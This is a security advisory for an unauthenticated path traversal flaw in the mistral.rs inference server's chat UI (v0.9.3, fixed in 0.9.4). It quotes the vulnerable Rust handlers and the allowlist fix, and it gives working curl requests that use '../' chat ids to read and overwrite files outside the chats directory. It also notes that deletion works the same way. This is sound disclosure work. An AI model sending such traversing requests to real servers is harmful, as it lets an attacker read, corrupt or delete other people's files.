Description
mistral.rs is a Rust LLM inference engine and server. Its built-in web UI
keeps chat histories as JSON files under a chats directory, and the chat
endpoints build those file paths by string formatting a client-supplied chat
id next to the directory, with no confinement. load_chat and rename_chat
at v0.9.3 (mistralrs-cli/src/ui/handlers/api.rs:474 and :489):
pub async fn load_chat(
Extension(app): Extension<Arc<AppState>>,
Json(req): Json<LoadChatRequest>,
) -> impl IntoResponse {
let path = format!("{}/{}.json", app.chats_dir, req.id);
if let Ok(bytes) = fs::read(&path).await {
if let Ok(chat) = serde_json::from_slice::<ChatFile>(&bytes) {
...
return Json(chat).into_response();
pub async fn rename_chat(...) -> impl IntoResponse {
let path = format!("{}/{}.json", app.chats_dir, req.id);
if let Ok(bytes) = fs::read(&path).await {
if let Ok(mut chat) = serde_json::from_slice::<ChatFile>(&bytes) {
chat.title = Some(req.title);
if fs::write(&path, serde_json::to_vec_pretty(&chat).unwrap())
req.id is raw request JSON. ../ segments walk out of the chats
directory, and any path the server user can reach resolves the same way.
The read is filtered through ChatFile deserialization, so it returns files
shaped like a chat (title, model, kind, created_at, messages); the write
re-serializes only those known fields, dropping everything else in the
file, so the rewrite is destructive to any structure beyond ChatFile.
Two properties turn the traversal into a remote issue. The UI routes,
including all chat endpoints, are registered with no authentication layer
(mistralrs-cli/src/ui/mod.rs:217), and mistral.rs has no built-in
authentication anywhere. The server also binds 0.0.0.0 by default with the
UI enabled (mistralrs-cli/src/args/server.rs:16), which is the natural
shape for an inference box on a GPU network.
The same unvalidated id reaches more handlers than the two above:
delete_chat removes <id>.json and <id>.session.json
(api.rs:460-465), the message append, edit and set-tail endpoints write
through it, and the session save and restore handlers build both paths from
it (api.rs:759, :773, :794, :807). The chats directory itself is
<cache>/chats (mistralrs-cli/src/ui/mod.rs:171), that is
~/.cache/mistralrs/chats on Linux, which is where the traversal below
starts from.
Reproduction
From the advisory, verified against v0.9.3 (commit d5ae0f1) with the server running a random-weights test model:
mistralrs serve -m hf-internal-testing/tiny-random-LlamaForCausalLM --port 12801
# ... UI available at http://0.0.0.0:12801/ui
A file outside the chats directory, in the server user's cache directory
(~/.cache/mistralrs/leaked_victim.json, one level above chats):
{"title":"secret-project-notes","model":"internal-model-name",
"kind":"chat","created_at":"2026-09-23T00:00:00Z",
"messages":[{"role":"user","content":"s3://backup/credentials file follows"}]}
Arbitrary read, one ../ is enough; no session, cookie or token exists to
send:
curl -s -X POST http://host:12801/ui/api/load_chat \
-H 'Content-Type: application/json' -d '{"id":"../leaked_victim"}'
{"title":"secret-project-notes","model":"internal-model-name",
"kind":"chat","created_at":"2026-09-23T00:00:00Z",
"messages":[{"role":"user","content":"s3://backup/credentials file follows"}]}
Arbitrary modify of the same file:
curl -s -X POST http://host:12801/ui/api/rename_chat \
-H 'Content-Type: application/json' \
-d '{"id":"../leaked_victim","title":"PWNED-BY-TRAVERSAL"}'
# Renamed
Deeper ids such as ../../../etc/... resolve the same way, and
delete_chat with a traversing id deletes the target .json (and
.session.json) files outright.
Impact
Unauthenticated path traversal (CWE-22) against a critical function with no authentication (CWE-306), reachable by any network peer of the server:
- Read disclosure of every
ChatFile-shaped.jsonfile the service user can read. Chats, notes and export files named*.jsonanywhere under the user's reach are fair game. - Read-modify-write of those files through
rename_chat: the attacker controls thetitlefield, and the rewrite drops every field theChatFilestruct does not know, corrupting the rest of the document. - Arbitrary deletion of
.jsonand.session.jsonfiles throughdelete_chat.
Because the default bind address is 0.0.0.0 and the product ships no
authentication, a typical deployment exposes this to the whole surrounding
network, not just loopback.
Solution
Fixed in 0.9.4. Chat ids are validated before any path is built: the fix
(EricLBuehler/mistral.rs#2447) routes every handler through
chat_file_path (mistralrs-cli/src/ui/types.rs:172), which accepts only
non-empty ids made of ASCII alphanumerics, _ and -, and returns an
error otherwise:
// ids are server-generated (`chat_<n>`), so anything else is a client
// trying to leave chats_dir
fn chat_file_path(chats_dir: &str, chat_id: &str, ext: &str) -> Option<PathBuf> {
let valid = !chat_id.is_empty()
&& chat_id
.bytes()
.all(|b| b.is_ascii_alphanumeric() || b == b'_' || b == b'-');
Since the server is the only writer of chat ids and generates chat_<n>,
an allowlist that strict cannot break a legitimate client. The fix ships
with unit tests covering .., absolute paths, separators and other shapes.
For deployments that cannot upgrade past 0.9.3: run with --no-ui, or bind
the server to loopback (--host 127.0.0.1), or put it behind an
authenticating reverse proxy. Until one of those is in place, assume every
peer on the server's network can read and rewrite the service user's
ChatFile-shaped JSON files.
Timeline
- 2026-09-23: Reported privately through the repository's GitHub security advisory (GHSA-9qj9-hhpg-c7xj), found while scanning popular repositories with my static analyzer.
- 2026-09-24: Fix merged as EricLBuehler/mistral.rs#2447 and released in 0.9.4.
- 2026-09-24: Advisory published. mistral.rs 0.9.3 and earlier are affected; 0.9.4 is patched.
References
- GHSA-9qj9-hhpg-c7xj - mistral.rs UI: unauthenticated chat-id path traversal
- EricLBuehler/mistral.rs - mistralrs-cli/src/ui/handlers/api.rs at v0.9.3
- EricLBuehler/mistral.rs#2447 - fix(ui): validate chat ids before building chat file paths
- EricLBuehler/mistral.rs - mistralrs-cli/src/ui/types.rs at v0.9.4
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-306: Missing Authentication for Critical Function